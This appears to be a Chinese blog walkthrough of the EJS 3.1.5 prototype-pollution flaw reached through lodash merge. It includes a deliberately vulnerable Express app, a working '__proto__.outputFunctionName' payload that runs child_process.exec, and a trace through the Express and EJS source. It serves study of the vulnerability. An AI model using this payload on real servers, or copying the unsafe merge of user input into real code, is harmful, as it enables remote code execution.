赞
踩
记录自己的理解,有什么不对的欢迎各位师傅指正。
- npm install ejs@3.1.5
- npm install lodash@4.17.4
- npm install express
注意这里的ejs版本需要低一些,因为高版本修复了该漏洞。加了一些正则匹配,如果出现outputFunctionName is not a valid JS identifier错误的话,证明你的版本比较高。
index.js
- var express = require('express');
- var _= require('lodash');
- var ejs = require('ejs');
-
- var app = express();
- //设置模板的位置
- app.set('views', __dirname);
-
- //对原型进行污染
- // var malicious_payload = '{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(\'child_process\').exec(\'calc\');var __tmp2"}}';
-
-
-
- //进行渲染
- app.get('/', function (req, res) {
- var malicious_payload = req.query.malicious_payload;
- _.merge({}, JSON.parse(malicious_payload));
- res.render ("./test.ejs",{
- message: 'lufei test '
- });
- });
-
- //设置http
- var server = app.listen(8888, function () {
-
- var port = server.address().port
-
- console.log("应用实例,访问地址为 http://127.0.0.1:%s", port)
- });
test.ejs
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8">
- <title></title>
- </head>
- <body>
-
- <h1><%= message%></h1>
-
- </body>
- </html>
malicious_payload = {"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
- var malicious_payload = req.query.malicious_payload;
- _.merge({}, JSON.parse(malicious_payload));
这里的代码获取我们传入的get参数。然后解析成json格式,接着调用merge函数,这样的话就会产生原型链污染。就理解成我们可以控制一些参数。
例如我们的payload,把Object对象的outputFunctionName的值设置为我们精心构造的值。
接下来我们思考如何如果用到这个值,以及在哪执行的代码。如何去构造这个payload。先从入口函数开始看。
- res.render ("./test.ejs",{
- message: 'lufei test '
- });
这边是调用response对象的render方法去渲染页面,第一个参数为模板文件路径。第二个是一个对象,里面就一个属性,message的属性值为lufei test,字符串类型。
- res.render = function render(view, options, callback) {
- var app = this.req.app;
- var done = callback;
- var opts = options || {};
- var req = this.req;
- var self = this;
-
- // support callback function as second arg
- if (typeof options === 'function') {
- done = options;
- opts = {};
- }
-
- // merge res.locals
- opts._locals = self.locals;
-
- // default callback to respond
- done = done || function (err, str) {
- if (err) return req.next(err);
- self.send(str);
- };
-
- // render
- app.render(view, opts, done);
- };
其中我们看到app.render(view, opts, done);这行代码,前面一些代码都不重要,这里调用了app对象里面的render方法,这边会进入到View这个文件的构造方法里。这里比较重要。
- function View(name, options) {
- var opts = options || {};
-
- this.defaultEngine = opts.defaultEngine;
- this.ext = extname(name);
- this.name = name;
- this.root = opts.root;
-
- if (!this.ext && !this.defaultEngine) {
- throw new Error('No default engine was specified and no extension was provided.');
- }
-
- var fileName = name;
-
- if (!this.ext) {
- // get extension from default engine name
- this.ext = this.defaultEngine[0] !== '.'
- ? '.' + this.defaultEngine
- : this.defaultEngine;
-
- fileName += this.ext;
- }
-
- if (!opts.engines[this.ext]) {
- // load engine
- var mod = this.ext.slice(1)
- debug('require "%s"', mod)
-
- // default engine export
- var fn = require(mod).__express
-
- if (typeof fn !== 'function') {
- throw new Error('Module "' + mod + '" does not provide a view engine.')
- }
-
- opts.engines[this.ext] = fn
- }
可以看到,我们传入的name是./test.ejs,通过extname可以获取到.ejs,然后偶他会判断后缀名是否不存在,或者不存在默认的引擎。然后再判断一次是否不存在后缀。我们这边都不满足,所以都跳过了。
接着判断是否不在这个opts.engines里面,相当于引擎容器,这时是空的,所以一定会进去。里面的代码好好看看,先把第一个.字符截取掉,然后去require这个ejs模块,将__express赋值给fn。我们看看__express是什么。
__express就是exports.renderFile这个函数。然后将fn赋值给opts.engines[this.ext],然后赋值给this.engine。这边记住这个this.engine。继续从app.render分析。
- app.render = function render(name, options, callback) {
- var cache = this.cache;
- var done = callback;
- var engines = this.engines;
- var opts = options;
- var renderOptions = {};
- var view;
-
- // support callback function as second arg
- if (typeof options === 'function') {
- done = options;
- opts = {};
- }
-
- // merge app.locals
- merge(renderOptions, this.locals);
-
- // merge options._locals
- if (opts._locals) {
- merge(renderOptions, opts._locals);
- }
-
- // merge options
- merge(renderOptions, opts);
-
- // set .cache unless explicitly provided
- if (renderOptions.cache == null) {
- renderOptions.cache = this.enabled('view cache');
- }
-
- // primed cache
- if (renderOptions.cache) {
- view = cache[name];
- }
-
- // view
- if (!view) {
- var View = this.get('view');
-
- view = new View(name, {
- defaultEngine: this.get('view engine'),
- root: this.get('views'),
- engines: engines
- });
-
- if (!view.path) {
- var dirs = Array.isArray(view.root) && view.root.length > 1
- ? 'directories "' + view.root.slice(0, -1).join('", "') + '" or "' + view.root[view.root.length - 1] + '"'
- : 'directory "' + view.root + '"'
- var err = new Error('Failed to lookup view "' + name + '" in views ' + dirs);
- err.view = view;
- return done(err);
- }
-
- // prime the cache
- if (renderOptions.cache) {
- cache[name] = view;
- }
- }
-
- // render
- tryRender(view, renderOptions, done);
- };
中间的一些代码也不是很重要,其中最后一行代码调用了tryRender方法,我们继续跟进。
- function tryRender(view, options, callback) {
- try {
- view.render(options, callback);
- } catch (err) {
- callback(err);
- }
- }
代码来到try里面。调用view对象的render方法。
然后调用this.engine这个函数,这个函数其实就是ejs里面的rendFile函数。前面我们分析过为什么了。然后继续跟进。
- exports.renderFile = function () {
- var args = Array.prototype.slice.call(arguments);
- var filename = args.shift();
- var cb;
- var opts = {filename: filename};
- var data;
- var viewOpts;
-
- // Do we have a callback?
- if (typeof arguments[arguments.length - 1] == 'function') {
- cb = args.pop();
- }
- // Do we have data/opts?
- if (args.length) {
- // Should always have data obj
- data = args.shift();
- // Normal passed opts (data obj + opts obj)
- if (args.length) {
- // Use shallowCopy so we don't pollute passed in opts obj with new vals
- utils.shallowCopy(opts, args.pop());
- }
- // Special casing for Express (settings + opts-in-data)
- else {
- // Express 3 and 4
- if (data.settings) {
- // Pull a few things from known locations
- if (data.settings.views) {
- opts.views = data.settings.views;
- }
- if (data.settings['view cache']) {
- opts.cache = true;
- }
- // Undocumented after Express 2, but still usable, esp. for
- // items that are unsafe to be passed along with data, like `root`
- viewOpts = data.settings['view options'];
- if (viewOpts) {
- utils.shallowCopy(opts, viewOpts);
- }
- }
- // Express 2 and lower, values set in app.locals, or people who just
- // want to pass options in their data. NOTE: These values will override
- // anything previously set in settings or settings['view options']
- utils.shallowCopyFromList(opts, data, _OPTS_PASSABLE_WITH_DATA_EXPRESS);
- }
- opts.filename = filename;
- }
- else {
- data = {};
- }
-
- return tryHandleCache(opts, data, cb);
- };
继续最后一行,执行tryHandleCache方法。跟进。
cb是存在的回调函数,所以不进入if,进入else。这里注意,调用了handleCache方法,肯定会返回一个函数的。因为在后面加了(data)。会去调用这个函数。
继续跟进handleCache函数。
然后来到exports.compile函数,里面传了两个参数第一个是模板。通过前面文件读取test.ejs里面的内容获取的值。第二个是一个对象。继续跟进。
可以看到最后调用了templ.compile。编译模板文件。继续跟进。
注意看。this.source此时为空,进入if。然后看到代码
- if (opts.outputFunctionName) {
- prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
- }
如果opts里面存在outputFunctionName属性的话。就进行字符串拼接。然后赋值给prepended属性。
接着将prependedp拼接传入给了this.source。
然后赋值给了src属性。这里的ctor就是Function。也就是这里创建了一个函数,第一个参数就是函数需要传入的变量,第二个参数就是函数执行的内容。那么第二个参数我们如果能控制的话,并且调用了这个函数,就可以任意代码执行。
下面刚好调用了apply方法,执行了这个函数。这里也是代码执行的点。
但是他并不会直接执行这里的代码,前面有一个三元运算符,opts.client为true的话,就将fn赋值给returnedFn,这里他是false。所以将anonymous这个函数赋值给returnedFn。然后ruturn返回。一直返回到我们之前说的那个调用这个函数的地方。最后才会进入这个函数里面去调用。最终执行代码。
我们先梳理一下漏洞的产生。
需要有一个原型链污染,这样我们可以控制一些没有赋值的变量
在ejs渲染的时候会去拼接outputFunctionName这个变量。赋值给src
然后运行src代码
那么我们构造payload就需要知道拼接是怎么拼接的。代码如下。
- if (opts.outputFunctionName) {
- prepended += ' var ' + opts.outputFunctionName + ' = __append;' + '\n';
- }
其中prepended为
var __output = "";
function __append(s) { if (s !== undefined && s !== null) __output += s }
然后加上var ,接着加上我们的payload。然后加上= __append;
。整理一下 如下代码。
- var __output = "";
- function __append(s) { if (s !== undefined && s !== null) __output += s }
- var [payload拼接所在的 地方] = __append;
那么我们将payload设置为
_tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2"}}
最终的代码会变成
- var __output = "";
- function __append(s) { if (s !== undefined && s !== null) __output += s }
- var _tmp1;global.process.mainModule.require('child_process').exec('calc');var __tmp2 = __append;
最终成为一个可以运行的代码。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。